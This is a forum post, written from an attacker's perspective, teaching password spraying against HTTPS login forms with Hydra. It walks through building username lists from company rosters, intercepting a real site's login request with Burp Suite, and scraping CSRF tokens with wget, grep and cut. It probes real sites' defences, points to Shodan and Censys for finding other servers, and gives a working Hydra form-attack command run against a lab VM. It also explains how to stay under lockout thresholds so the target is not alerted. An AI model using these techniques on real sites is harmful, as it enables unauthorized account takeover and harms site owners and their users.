Spraying HTTPS login using HYDRA

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
You find a website of interest and acquire usernames by some means like https://hunter.io/ or maybe you have access to a computer system (or few) to scout C:\Users for C:\Users\bankmanager or C:\Users\johnsmith - or maybe C:\Users\jsmith... either way this gives you information about how their credentials may look in various systems. Now you begin spraying AD, courtesy of Greenwolf's work. Do not be afraid to glance over a company roster to gather first names and last names to then caress into a beautiful users.txt list:
Code:
John Smith
Jane Kane
Adam Sandler
===
adamsandler
janekane
johnsmith

This type of user list generation can be performed via the method detailed here. The source code is in Python over here. This generates various possible usernames from first and last name lists. A lot of nonexistent user login attempts perhaps but at least this is thorough! If you want in bad enough, try everything? Attackers (determined/motivated) will do that.

Now that we have our list of usernames, we certainly may find a form to login to.

How about we take https://www.signupgenius.com/register for example, the first thing I want you to do is load this and on your keyboard Ctrl+U ... most browsers (Chrome especially) will open "view-source:..." to display the HTML source of the page. Now let's find text within (Ctrl+F), look for "CSRF".
Code:
return request.setRequestHeader('X-CSRF-Token', "f1PZKVb1ZDxGnu4RZs0A9PuN3khRQoCGUe8yDbyO");

Notice this token, 'X-CSRF-Token' is set to the value of f1PZKVb1ZDxGnu4RZs0A9PuN3khRQoCGUe8yDbyO.
1576163385934.png

This means to process our login, more than likely the server wants to see a valid CSRF token passed along. Fuck!

Login form:
username = jimmy
password = apples1
(INVISIBLE) CSRF_TOKEN = 930r8wt98af98af98498g79g79g984

The login server will never check jimmy/apples1 if the CSRF_TOKEN is not validly passed along too. This helps mitigate attacks like what we are about to perform and especially helps to prevent certain browser attacks on victims. We can cover this a different time! For now, we are focusing on spraying passwords into this form.

Now how about we use Kali Linux (or any distro w/ burpsuite installed).
Code:
apt update
apt upgrade -y
apt install burpsuite -y

Launch burpsuite, eh? burpsuite

Click "Next" to launch a new Temporary project.

Click "Start Burp", to Use Burp defaults.

1576165687452.png

Proxy > Intercept > Intercept is on

1576165751830.png

Notice we have a listener on port 8080 (localhost / 127.0.0.1) - keep this in mind.

Launch Firefox in Kali Linux and navigate to "about:preferences".

1576165955879.png

We shall now search for "proxy", then click Settings...

1576166035270.png

Populate the proxy settings with "Manual proxy configuration", localhost : 8080 - use this proxy for all protocols and click OK.

Navigate to https://www.signupgenius.com/register in your Kali Linux system - keep clicking "Forward" within burpsuite to allow requests through otherwise if this gets annoying just turn intercept to off.

Ideally, you leave Intercept set to off until RIGHT BEFORE you will click the "Login", or whatever submit button of data you obviously want to intercept.

So for example, I would turn intercept to off while navigating to the page and filling in the email/password, then turn it to "Intercept is on" immediately before clicking the button to login.

Code:
POST /index.cfm?go=c.Login HTTP/1.1
Host: www.signupgenius.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.signupgenius.com/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 266
Connection: close
Cookie: __cfduid=d3b75778aefe096d29b55f8220d9eb6ac1576166174; AWSALB=hJJ/TLWDc1HIFmI0xbtqfuGPCqvQIoMAX+pHsyNtiVQ+8bji0s8c0oEdTAdVzZprcFG0DC167lVnnyWIQ7cR8cmAEYw5rOY6xsGzZQr882UH3djmLQIIurYlgmrK; CFID=3027268; CFTOKEN=6b31b14940a0512b-CC3FC902-00CC-5292-B7CFB6FC4A2DCF3B; JSESSIONID=8221E69C3A44ADFD5294C4D1D6234925.SUG3; FULLSITEMODE=true; MOBILEDEVICE=false; MODALSVIEWED=%5B%5D; GENIUSTIPSVIEWED=%5B%5D
Upgrade-Insecure-Requests: 1

successpage=c.jump%26jump%3D%2Findex.cfm%3Fgo%3Dc.MyAccount&failpage=c.Register&csrfToken=345F705B6C85E75A41E7DBC6376BE991460ED84F&ScreenWidth=2000&ScreenHeight=1200&formaction=1&formName=loginform&loginemail=asphyxia%40r4p3.net&pword=4ttackMeplease%24x&submit=Login

I intercepted the above info, we have most of what we need by now... right?

For shits 'n' giggles, how about we just simply wget the page:
Code:
wget https://www.signupgenius.com/register
cat register | grep csrf

Looks like we get this back:
Code:
                    <input type="hidden" name="csrfToken" value="31114615F82459A7CA23BC5A09318759E91EAAE1" required="true" />
                <input type="hidden" name="csrfToken" value="31114615F82459A7CA23BC5A09318759E91EAAE1" required="true" />
                <input type="hidden" name="csrfToken" value="31114615F82459A7CA23BC5A09318759E91EAAE1" required="true" />

What if we wanted to modify that grep a bit to for example cut apart the quotes (") to extract just the csrf Token value? Oh, we can.

Using the "cut" command of course!

Looking at <input type="hidden" name="csrfToken" value="31114615F82459A7CA23BC5A09318759E91EAAE1" required="true" /> - count the number of quote symbols. I count 5 until we reached the " just before the content we need. Add 1 (+1) to the number 5 because 0 means cut in front of - +1 would mean cut behind.

Code:
cat register | grep csrf | cut -d'"' -f6

This is going to return all the same 3 tokens now, we do not need 3 of the same thing - just pipe to uniq or tail -1 or head -1 as you can see, many options.

All 3 of these will do about the same thing in our SPECIFIC case, because the values are all the same. Only use one of the below commands to extract the CSRF string we need.
Code:
cat register | grep csrf | cut -d'"' -f6 | head -1
cat register | grep csrf | cut -d'"' -f6 | tail -1
cat register | grep csrf | cut -d'"' -f6 | uniq

Let us just remember this for later, because we may need to apply this in our automation process.

...

Shit-fuck though.. onsubmit="return _CF_checkLogin(this)"

This means there is some silly-ass JavaScript happening prior to a submit, uh little bitch.

What does this do?
1576168174497.png

Right click top and search in all files "CF_checkLogin", you will now see wherever this is referenced.

Code:
<script type="text/javascript">
<!--
    _CF_checkLogin = function(_CF_this)
    {
        //reset on submit
        _CF_error_exists = false;
        _CF_error_messages = new Array();
        _CF_error_fields = new Object();
        _CF_FirstErrorField = null;


        //display error messages and return success
        if( _CF_error_exists )
        {
            if( _CF_error_messages.length > 0 )
            {
                // show alert() message
                _CF_onErrorAlert(_CF_error_messages);
                // set focus to first form error, if the field supports js focus().
                if( _CF_this[_CF_FirstErrorField].type == "text" )
                { _CF_this[_CF_FirstErrorField].focus(); }

            }
            return false;
        }else {
            // run userdefined onSubmit javascript. 
            return validateLoginForm()
            return true;
        }
    }
//-->
</script>

I just also realized these guys have Google's reCAPTCHA, super actual fuck m8:
1576168480099.png

This guy is telling it how it is.

Abort mission! Snafu choo choo, broken bridge, boom.

So how the hell do we proceed? As any attacker would do, you have two options here. What is the next best option on target or can we solve these captchas in a way where it is worth the expense to us? I might start at this point, by Googling around "signupgenius admin", maybe add in some various other things like filetype:php or filetype:<other_dynamic_web_language> ... this is because scripts that make websites dynamic and load database content typically have more input/output areas and the wrong input/output can blast a hole in the sidewall of a website to allow an attacker entry.

For the time, I am unable to resolve an alternative login form lacking reCAPTCHA protection so off we go to finding other possible servers:

Censys and Shodan are awesome tools for gathering information on a possible target.

1576169342719.png

Okay so after reviewing results, I see all Amazon AWS and Cloudflare. This is typically a dead end because anyone scaling up to Amazon typically has (or should have) security around their Amazon instances. If their security sucks, you could try doing sh** like this but your results may vary:

So - now that we have covered REALISTIC barriers or roadblocks to us operating - how about one that just works so you can ACTUALLY learn how to fuckin' spray HTTPS logins.

http://www.neopets.com/login/ dammit, even Neopets has fucking reCAPTCHA even though they do not use HTTPS. Whoa, if you try to force yourself into a Neopets account I think they ask for your date of birth while logging in also. Holy shit, their security is actually not bad!

Okay, we can't even break into a kid game website w/ Hydra - lol.

So where can we REALLY use Hydra then?

Trying to look at OVH's login system, they implement randomized input field names for example:
Code:
credentialToken=&nonce=XXX&XX=&[email protected]&fac1e0dc=P4ssw0rdgoeshere&jsE=x454051560151cf9946d3ee95f8f&duration=604800

So even if you got a list of usernames, emails, or whatever - we are in a fat pickle of a situation.

As you can see here, getting into accounts is actually kind of a pain in the ass when you are trying to externally crawl inside from a mere website; POST form.

People are "catching up" in terms of securing forms, because anywhere someone can login - bots will start attacking. Any possible ways to shutdown bot login attacks, people are exploring and implementing solutions. This allows user accounts to stay safer from attacks! Spraying is still a potential method though, how about we just build our own damn server to attack for a demonstration.

Setup https://sourceforge.net/projects/websecuritydojo/ and once you have this .ova file, launch this up as a virtual machine.

Now we can find "/w3af/bruteforce/form_login/" on the host, I believe.

Notice in the source (Ctrl+U) we see:
Code:
<form name="input" action="dataReceptor.php" method="post">
Username:
<input type="text" name="user">


Password:
<input type="password" name="pass">

Inside Hydra, we can attack this VERY simple login page, first how about we find the invalid login text - try logging in with an invalid account user/pass.

We see: Bad login, stop bruteforcing me!Bad u/p combination for user: a

We can now launch a Hydra attack:
Code:
hydra 192.168.YOUR-VM.IP-HERE http-form-post "/w3af/bruteforce/form_login/dataReceptor.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt

The above obviously will pull usernames in from users.txt and passwords in from pass.txt - the -o option writes output/loot to a file.

I hope you learned from this posting that security _IS_ being taken more seriously among Internet websites, although there are still small ways throughout the overall security architecture to often break somehow somewhere.

If you have any questions, please ask/reply.

When "spraying", get yourself a nice list like the one found over here:

The above would be your pass.txt file basically, just cut the size down to maybe only the top 2-3 passwords as to not lock user accounts out. If you lock user accounts out, a phone call will be made and you tip off target to your attempts.

;)
 
Top